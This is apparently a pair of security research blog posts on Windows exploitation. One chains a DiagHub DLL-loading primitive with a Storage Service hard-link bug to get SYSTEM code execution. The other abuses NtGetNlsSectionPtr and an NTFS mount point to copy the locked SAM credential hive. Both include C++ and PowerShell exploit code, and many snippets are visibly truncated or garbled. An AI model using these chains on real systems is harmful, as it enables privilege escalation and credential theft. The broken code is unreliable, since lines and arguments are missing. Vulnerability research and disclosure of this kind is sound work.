Extracting out that information we now get the name of the methods (shown below) as well as the address in the binary. We could set breakpoints and see what gets called during normal operation, or take this information and start the RE process.









The list of methods looks correct: they start with the 3 standard methods for a COM object, which in this case are implemented by the ATL library. Following those methods are five implemented by theStandardCollectorService class. Being public symbols, this doesn’t tell us what parameters we expect to pass to the COM server. Due to C++ names containing some type information, IDA Pro might be able to extract that information for you, however that won’t necessarily tell you the format of any structures which might be passed to the function. Fortunately due to how COM proxies are implemented using the Network Data Representation (NDR) interpreter to perform marshalling, it’s possible to reverse the NDR bytecode back into a format we can understand. In this case go back to the original service information, right click theIStandardCollectorService treenode and select View Proxy Definition. This will get OVDN to parse the NDR proxy information and display a new view as shown below.

Viewing the proxy definition will also parse out any other interfaces which that proxy library implements. This is likely to be useful for further RE work. The decompiled proxy definition is shown in a C# like pseudo code but it should be easy to convert into working C# or C++ as necessary. Notice that the proxy definition doesn’t contain the names of the methods but we’ve already extracted those out. So applying a bit of cleanup and the method names we get a definition which looks like the following:

struct IStandardCollectorService : IUnknown {
   HRESULT CreateSession(_In_ struct Struct_24* p0, 
                         _In_ IStandardCollectorClientDelegate* p1,
                         _Out_ ICollectionSession** p2);
   HRESULT GetSession(_In_ GUID* p0, _Out_ ICollectionSession** p1);
   HRESULT DestroySession(_In_ GUID* p0);
   HRESULT DestroySessionAsync(_In_ GUID* p0);
   HRESULT AddLifetimeMonitorProcessIdForSession(_In_ GUID* p0, [In] int p1);

There’s one last piece missing; we don’t know the definition of the Struct_24 structure. It’s possible to extract this from the RE process but fortunately in this case we don’t have to. The NDR bytecode must know how to marshal this structure across so OVDN just extracts the structure definition out for us automatically: select the Structures tab and find Struct_24.

As you go through the RE process you can repeat this process as necessary until you understand how everything works. Now let’s get to actually exploiting the DiagHub service and demonstrating its use with a real world exploit.

Example Exploit

So after our efforts of reverse engineering, we’ll discover that in order to to load a DLL from SYSTEM32 we need to do the following steps:

  1. Create a new Diagnostics Session using IStandardCollectorService::CreateSession.
  2. Call the ICollectionSession::AddAgent method on the new session, passing the name of the DLL to load (without any path information).

The simplified loading code for ICollectionSession::AddAgent is as follows:

void EtwCollectionSession::AddAgent(LPWCSTR dll_path, 
                                   REFGUID guid) {
 WCHAR valid_path[MAX_PATH];
 if ( !GetValidAgentPath(dll_path, valid_path)) {
 HMODULE mod = LoadLibraryExW(valid_path, 
 dll_get_class_obj = GetProcAddress(hModule, «DllGetClassObject»);
 return dll_get_class_obj(guid);

We can see that it checks that the agent path is valid and returns a full path (this is where the previous EoP bugs existed, insufficient checks). This path is loading using LoadLibraryEx, then the DLL is queried for the exported method DllGetClassObject which is then called. Therefore to easily get code execution all we need is to implement that method and drop the file into SYSTEM32. The implemented DllGetClassObject will be called outside the loader lock so we can do anything we want. The following code (error handling removed) will be sufficient to load a DLL called dummy.dll.

IStandardCollectorService* service;
CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER,IID_PPV_ARGS(&service));

SessionConfiguration config = {};
config.version = 1;
config.monitor_pid = ::GetCurrentProcessId();
config.path = ::SysAllocString(L»C:\Dummy»);
ICollectionSession* session;
service->CreateSession(&config, nullptr, &session);

GUID agent_guid;
session->AddAgent(L»dummy.dll», agent_guid);

All we need now is the arbitrary file write so that we can drop a DLL into SYSTEM32, load it and elevate our privileges. For this I’ll demonstrate using a vulnerability I found in the SvcMoveFileInheritSecurity RPC method in the system Storage Service. This function caught my attention due to its use in an exploit for a vulnerability in ALPC discovered and presented by Clément Rouault & Thomas Imbert at PACSEC 2017. While this method was just a useful exploit primitive for the vulnerability I realized it has not one, but two actual vulnerabilities lurking in it (at least from a normal user privilege). The code prior to any fixes forSvcMoveFileInheritSecurity looked like the following:

void SvcMoveFileInheritSecurity(LPCWSTR lpExistingFileName, 
                               LPCWSTR lpNewFileName, 
                               DWORD dwFlags) {
 PACL pAcl;
 if (!RpcImpersonateClient()) {
   // Move file while impersonating.
   if (MoveFileEx(lpExistingFileName, lpNewFileName, dwFlags)) {
     // Copy inherited DACL while not.
     InitializeAcl(&pAcl, 8, ACL_REVISION);
     DWORD status = SetNamedSecurityInfo(lpNewFileName, SE_FILE_OBJECT, 
         nullptr, nullptr, &pAcl, nullptr);
       if (status != ERROR_SUCCESS)
         MoveFileEx(lpNewFileName, lpExistingFileName, dwFlags);
   else {
     // Copy file instead…

The purpose of this method seems to be to move a file then apply any inherited ACE’s to the DACL from the new directory location. This would be necessary as when a file is moved on the same volume, the old filename is unlinked and the file is linked to the new location. However, the new file will maintain the security assigned from its original location. Inherited ACEs are only applied when a new file is created in a directory, or as in this case, the ACEs are explicitly applied by calling a function such as SetNamedSecurityInfo.

To ensure this method doesn’t allow anyone to move an arbitrary file while running as the service’s user, which in this case is Local System, the RPC caller is impersonated. The trouble starts immediately after the first call to MoveFileEx, the impersonation is reverted and SetNamedSecurityInfo is called. If that call fails then the code calls MoveFileEx again to try and revert the original move operation. This is the first vulnerability; it’s possible that the original filename location now points somewhere else, such as through the abuse of symbolic links. It’s pretty easy to cause SetNamedSecurityInfo to fail, just add a Deny ACL for Local System to the file’s ACE for WRITE_DAC and it’ll return an error which causes the revert and you get an arbitrary file creation. This was reported as issue 1427.

This is not in fact the vulnerability we’ll be exploiting, as that would be too easy. Instead we’ll exploit a second vulnerability in the same code: the fact that we can get the service to call SetNamedSecurityInfo on any file we like while running as Local System. This can be achieved either by abusing the impersonated device map to redirect the local drive letter (such as C:) when doing the initial MoveFileEx, which then results in lpNewFileName pointing to an arbitrary location, or more interestingly abusing hard links. This was reported as issue 1428. We can exploit this using hard links as follows:

  1. Create a hard link to a target file in SYSTEM32 that we want to overwrite. We can do this as you don’t need to have write privileges to a file to create a hard link to it, at least outside of a sandbox.
  2. Create a new directory location that has an inheritable ACE for a group such as Everyone or Authenticated Users to allow for modification of any new file. You don’t even typically need to do this explicitly; for example, any new directory created in the root of the C: drive has an inherited ACE for Authenticated Users. Then a request can be made to the RPC service to move the hardlinked file to the new directory location. The move succeeds under impersonation as long as we have FILE_DELETE_CHILD access to the original location and FILE_ADD_FILE in the new location, which we can arrange.
  3. The service will now call SetNamedSecurityInfo on the moved hardlink file. SetNamedSecurityInfo will pick up the inherited ACEs from the new directory location and apply them to the hardlinked file. The reason the ACEs are applied to the hardlinked file is from the perspective of SetNamedSecurityInfo the hardlinked file is in the new location, even though the original target file we linked to was in SYSTEM32.

By exploiting this we can modify the security of any file that Local System can access for WRITE_DAC access. Therefore we can modify a file in SYSTEM32, then use the DiagHub service to load it. There is a slight problem, however. The majority of files in SYSTEM32 are actually owned by the TrustedInstaller group and so cannot be modified, even by Local System. We need to find a file we can write to which isn’t owned by TrustedInstaller. Also we’d want to pick a file that won’t cause the OS install to become corrupt. We don’t care about the file’s extension as AddAgent only checks that the file exists and loads it with LoadLibraryEx. There are a number of ways we can find a suitable file, such as using the SysInternals AccessChk utility, but to be 100% certain that the Storage Service’s token can modify the file we’ll use my NtObjectManagerPowerShell module (specifically its Get-AccessibleFile cmdlet, which accepts a process to do the access check from). While the module was designed for checking accessible files from a sandbox, it also works to check for files accessible by privileged services. If you run the following script as an administrator with the module installed the $files variable will contain a list of files that the Storage Service has WRITE_DAC access to.

Import-Module NtObjectManager

Start-Service Name «StorSvc»
Set-NtTokenPrivilege SeDebugPrivilege | Out-Null
$files = Use-NtObject($p = Get-NtProcess ServiceName «StorSvc») {
   Get-AccessibleFile Win32Path C:\Windows\system32 Recurse `
    MaxDepth 1 FormatWin32Path AccessRights WriteDac CheckMode FilesOnly

Looking through the list of files I decided to pick on the file license.rtf, which contains a short license statement for Windows. The advantage of this file is it’s very likely to be not be critical to the operation of the system and so overwriting it shouldn’t cause the installation to become corrupted.

So putting it all together:

  1. Use the Storage Service vulnerability to change the security of the license.rtf file inside SYSTEM32.
  2. Copy a DLL, which implements DllGetClassObject over the license.rtf file.
  3. Use the DiagHub service to load our modified license file as a DLL, get code execution as Local System and do whatever we want.

If you’re interested in seeing a fully working example, I’ve uploaded a full exploit to the original issue on the tracker.

Wrapping Up

In this blog post I’ve described a useful exploit primitive for Windows 10, which you can even use from some sandboxed environments such as Edge LPAC. Finding these sorts of primitives makes exploitation much simpler and less error-prone. Also I’ve given you a taste of how you can go about finding your own bugs in similar DCOM implementations.

Windows Exploitation Tricks: Arbitrary Directory Creation to Arbitrary File Read

For the past couple of months I’ve been presenting my “Introduction to Windows Logical Privilege Escalation Workshop” at a few conferences. The restriction of a 2 hour slot fails to do the topic justice and some interesting tips and tricks I would like to present have to be cut out. So as the likelihood of a full training course any time soon is pretty low, I thought I’d put together an irregular series of blog posts which detail small, self contained exploitation tricks which you can put to use if you find similar security vulnerabilities in Windows.


In this post I’m going to give a technique to go from an arbitrary directory creation vulnerability to arbitrary file read. Arbitrary direction creation vulnerabilities do exist — for example, here’s one that was in the Linux subsystem — but it’s not always obvious how you’d exploit such a bug in contrast to arbitrary file creation where a DLL is dropped somewhere. You could abuse DLL Redirection support where you create a directory calling program.exe.local to do DLL planting but that’s not always reliable as you’ll only be able to redirect DLLs not in the same directory (such as System32) and only ones which would normally go via Side-by-Side DLL loading.


For this blog we’ll use my example driver from the Workshop which already contains a vulnerable directory creation bug, and we’ll write a Powershell script to exploit it using my NtObjectManager module. The technique I’m going to describe isn’t a vulnerability, but it’s something you can use if you have a separate directory creation bug.

Quick Background on the Vulnerability Class

When dealing with files from the Win32 API you’ve got two functions, CreateFile and CreateDirectory. It would make sense that there’s a separation between the two operations. However at the Native API level there’s only ZwCreateFile, the way the kernel separates files and directories is by passing either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE to the CreateOptions parameter when calling ZwCreateFile. Why the system call is for creating a file and yet the flags are named as if Directories are the main file type I’ve no idea.


A very simple vulnerable example you might see in a kernel driver looks like the following:


NTSTATUS KernelCreateDirectory(PHANDLE Handle,

                              PUNICODE_STRING Path) {
 IO_STATUS_BLOCK io_status = { 0 };
 OBJECT_ATTRIBUTES obj_attr = { 0 };

 InitializeObjectAttributes(&obj_attr, Path,
 return ZwCreateFile(Handle, MAXIMUM_ALLOWED,

                     &obj_attr, &io_status,
                     NULL, FILE_ATTRIBUTE_NORMAL,

                    FILE_SHARE_READ | FILE_SHARE_DELETE,
                    FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);


There’s three important things to note about this code that determines whether it’s a vulnerable directory creation vulnerability. Firstly it’s passing FILE_DIRECTORY_FILE to CreateOptions which means it’s going to create a directory. Second it’s passing as the Disposition parameter FILE_OPEN_IF. This means the directory will be created if it doesn’t exist, or opened if it does. And thirdly, and perhaps most importantly, the driver is calling a Zw function, which means that the call to create the directory will default to running with kernel permissions which disables all access checks. The way to guard against this would be to pass the OBJ_FORCE_ACCESS_CHECK attribute flag in the OBJECT_ATTRIBUTES, however we can see with the flags passed to InitializeObjectAttributes the flag is not being set in this case.


Just from this snippet of code we don’t know where the destination path is coming from, it could be from the user or it could be fixed. As long as this code is running in the context of the current process (or is impersonating your user account) it doesn’t really matter. Why is running in the current user’s context so important? It ensures that when the directory is created the owner of that resource is the current user which means you can modify the Security Descriptor to give you full access to the directory. In many cases even this isn’t necessary as many of the system directories have a CREATOR OWNER access control entry which ensures that the owner gets full access immediately.

Creating an Arbitrary Directory

If you want to follow along you’ll need to setup a Windows 10 VM (doesn’t matter if it’s 32 or 64 bit) and follow the details in setup.txt from the zip file containing my Workshop driver. Then you’ll need to install the NtObjectManager Powershell Module. It’s available on the Powershell Gallery, which is an online module repository so follow the details there.

Assuming that’s all done, let’s get to work. First let’s look how we can call the vulnerable code in the driver. The driver exposes a Device Object to the user with the name \Device\WorkshopDriver (we can see the setup in the source code). All “vulnerabilities” are then exercised by sending Device IO Control requests to the device object. The code for the IO Control handling is in device_control.c and we’re specifically interested in the dispatch. The code ControlCreateDir is the one we’re looking for, it takes the input data from the user and uses that as an unchecked UNICODE_STRING to pass to the code to create the directory. If we look up the code to create the IOCTL number we find ControlCreateDir is 2, so let’s use the following PS code to create an arbitrary directory.


Import-Module NtObjectManager

# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
       0x800 bor $ControlCode, «Buffered», «Any»)

function New-Directory {
 # Open the device driver.
 Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
   # Get IOCTL for ControlCreateDir (2)
   $ioctl = Get-DriverIoCtl ControlCode 2
   # Convert DOS filename to NT
   $nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
   $bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
   $file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null


The New-Directory function first opens the device object, converts the path to a native NT format as an array of bytes and calls the DeviceIoControl function on the device. We could just pass an integer value for control code but the NT API libraries I wrote have an NtIoControlCode type to pack up the values for you. Let’s try it and see if it works to create the directory c:\windows\abc.

It works and we’ve successfully created the arbitrary directory. Just to check we use Get-Acl to get the Security Descriptor of the directory and we can see that the owner is the ‘user’ account which means we can get full access to the directory.

Now the problem is what to do with this ability? There’s no doubt some system service which might look up in a list of directories for an executable to run or a configuration file to parse. But it’d be nice not to rely on something like that. As the title suggested instead we’ll convert this into an arbitrary file read, how might do we go about doing that?

Mount Point Abuse

If you’ve watched my talk on Abusing Windows Symbolic Links you’ll know how NTFS mount points (or sometimes Junctions) work. The $REPARSE_POINT NTFS attribute is stored with the Directory which the NTFS driver reads when opening a directory. The attribute contains an alternative native NT object manager path to the destination of the symbolic link which is passed back to the IO manager to continue processing. This allows the Mount Point to work between different volumes, but it does have one interesting consequence. Specifically the path doesn’t have to actually to point to another directory, what if we give it a path to a file?


If you use the Win32 APIs it will fail and if you use the NT apis directly you’ll find you end up in a weird paradox. If you try and open the mount point as a file the error will say it’s a directory, and if you instead try to open as a directory it will tell you it’s really a file. Turns out if you don’t specify either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE then the NTFS driver will pass its checks and the mount point can actually redirect to a file.

Perhaps we can find some system service which will open our file without any of these flags (if you pass FILE_FLAG_BACKUP_SEMANTICS to CreateFile this will also remove all flags) and ideally get the service to read and return the file data?

National Language Support

Windows supports many different languages, and in order to support non-unicode encodings still supports Code Pages. A lot is exposed through the National Language Support (NLS) libraries, and you’d assume that the libraries run entirely in user mode but if you look at the kernel you’ll find a few system calls here and there to support NLS. The one of most interest to this blog is the NtGetNlsSectionPtr system call. This system call maps code page files from the System32 directory into a process’ memory where the libraries can access the code page data. It’s not entirely clear why it needs to be in kernel mode, perhaps it’s just to make the sections shareable between all processes on the same machine. Let’s look at a simplified version of the code, it’s not a very big function:


NTSTATUS NtGetNlsSectionPtr(DWORD NlsType,

                           DWORD CodePage,
                           PVOID *SectionPointer,

                           PULONG SectionSize) {
 UNICODE_STRING section_name;
 OBJECT_ATTRIBUTES section_obj_attr;
 HANDLE section_handle;
 RtlpInitNlsSectionName(NlsType, CodePage, &section_name);

                            OBJ_KERNEL_HANDLE |

                            OBJ_OPENIF |

                            OBJ_CASE_INSENSITIVE |

 // Open section under \NLS directory.
 if (!NT_SUCCESS(ZwOpenSection(&section_handle,


                        &section_obj_attr))) {
   // If no section then open the corresponding file and create section.
   UNICODE_STRING file_name;

   HANDLE file_handle;




                              OBJ_KERNEL_HANDLE |

   ZwOpenFile(&file_handle, SYNCHRONIZE,

              &obj_attr, FILE_SHARE_READ, 0);
   ZwCreateSection(&section_handle, FILE_MAP_READ,

                   &section_obj_attr, NULL,

                   PROTECT_READ_ONLY, MEM_COMMIT, file_handle);

 // Map section into memory and return pointer.
 NTSTATUS status = MmMapViewOfSection(

 return status;


The first thing to note here is it tries to open a named section object under the \NLS directory using a name generated from the CodePage parameter. To get an idea what that name looks like we’ll just list that directory:

The named sections are of the form NlsSectionCP<NUM> where NUM is the number of the code page to map. You’ll also notice there’s a section for a normalization data set. Which file gets mapped depends on the first NlsType parameter, we don’t care about normalization for the moment. If the section object isn’t found the code builds a file path to the code page file, opens it with ZwOpenFile and then calls ZwCreateSection to create a read-only named section object. Finally the section is mapped into memory and returned to the caller.


There’s two important things to note here, first the OBJ_FORCE_ACCESS_CHECK flag is not being set for the open call. This means the call will open any file even if the caller doesn’t have access to it. And most importantly the final parameter of ZwOpenFile is 0, this means neither FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE is being set. Not setting these flags will result in our desired condition, the open call will follow the mount point redirection to a file and not generate an error. What is the file path set to? We can just disassemble RtlpInitNlsFileName to find out:


void RtlpInitNlsFileName(DWORD NlsType,

                        DWORD CodePage,

                        PUNICODE_STRING String) {
 if (NlsType == NLS_CODEPAGE) {

             L»\\SystemRoot\\System32\\c_%.3d.nls», CodePage);
 } else {
    // Get normalization path from registry.
    // NOTE about how this is arbitrary registry write to file.


The file is of the form c_<NUM>.nls under the System32 directory. Note that it uses the special symbolic link \SystemRoot which points to the Windows directory using a device path format. This prevents this code from being abused by redirecting drive letters and making it an actual vulnerability. Also note that if the normalization path is requested the information is read out from a machine registry key, so if you have an arbitrary registry value writing vulnerability you might be able to exploit this system call to get another arbitrary read, but that’s for the interested reader to investigate.


I think it’s clear now what we have to do, create a directory in System32 with the name c_<NUM>.nls, set its reparse data to point to an arbitrary file then use the NLS system call to open and map the file. Choosing a code page number is easy, 1337 is unused. But what file should we read? A common file to read is the SAM registry hive which contains logon information for local users. However access to the SAM file is usually blocked as it’s not sharable and even just opening for read access as an administrator will fail with a sharing violation. There’s of course a number of ways you can get around this, you can use the registry backup functions (but that needs admin rights) or we can pull an old copy of the SAM from a Volume Shadow Copy (which isn’t on by default on Windows 10). So perhaps let’s forget about… no wait we’re in luck.


File sharing on Windows files depends on the access being requested. For example if the caller requests Read access but the file is not shared for read access then it fails. However it’s possible to open a file for certain non-content rights, such as reading the security descriptor or synchronizing on the file object, rights which are not considered when checking the existing file sharing settings. If you look back at the code for NtGetNlsSectionPtr you’ll notice the only access right being requested for the file is SYNCHRONIZE and so will always allow the file to be opened even if locked with no sharing access.


But how can that work? Doesn’t ZwCreateSection need a readable file handle to do the read-only file mapping. Yes and no. Windows file objects do not really care whether a file is readable or writable. Access rights are associated with the handle created when the file is opened. When you call ZwCreateSection from user-mode the call eventually tries to convert the handle to a pointer to the file object. For that to occur the caller must specify what access rights need to be on the handle for it to succeed, for a read-only mapping the kernel requests the handle has Read Data access. However just as with access checking with files if the kernel calls ZwCreateSection access checking is disabled including when converting a file handle to the file object pointer. This results in ZwCreateSection succeeding even though the file handle only has SYNCHRONIZE access. Which means we can open any file on the system regardless of it’s sharing mode and that includes the SAM file.


So let’s put the final touches to this, we create the directory \SystemRoot\System32\c_1337.nls and convert it to a mount point which redirects to \SystemRoot\System32\config\SAM. Then we call NtGetNlsSectionPtr requesting code page 1337, which creates the section and returns us a pointer to it. Finally we just copy out the mapped file memory into a new file and we’re done.


$dir = «\SystemRoot\system32\c_1337.nls»
New-Directory $dir
$target_path = «\SystemRoot\system32\config\SAM»
Use-NtObject($file = Get-NtFile $dir `

            —Options OpenReparsePoint,DirectoryFile) {
 $file.SetMountPoint($target_path, $target_path)

Use-NtObject($map =

    [NtApiDotNet.NtLocale]::GetNlsSectionPtr(«CodePage», 1337)) {
 Use-NtObject($output = [IO.File]::OpenWrite(«sam.bin»)) {
   Write-Host «Copied file»


Loading the created file in a hex editor shows we did indeed steal the SAM file.

For completeness we’ll clean up our mess. We can just delete the directory by opening the directory file with the Delete On Close flag and then closing the file (making sure to open it as a reparse point otherwise you’ll try and open the SAM again). For the section as the object was created in our security context (just like the directory) and there was no explicit security descriptor then we can open it for DELETE access and call ZwMakeTemporaryObject to remove the permanent reference count set by the original creator with the OBJ_PERMANENT flag.


Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 `
                   Access Delete) {
 # Delete permanent object.

What I’ve described in this blog post is not a vulnerability, although certainly the code doesn’t seem to follow best practice. It’s a system call which hasn’t changed since at least Windows 7 so if you find yourself with an arbitrary directory creation vulnerability you should be able to use this trick to read any file on the system regardless of whether it’s already open or shared. I’ve put the final script on GITHUB at this link if you want the final version to get a better understanding of how it works.


It’s worth keeping a log of any unusual behaviours when you’re reverse engineering a product in case it becomes useful as I did in this case. Many times I’ve found code which isn’t itself a vulnerability but have has some useful properties which allow you to build out exploitation chains.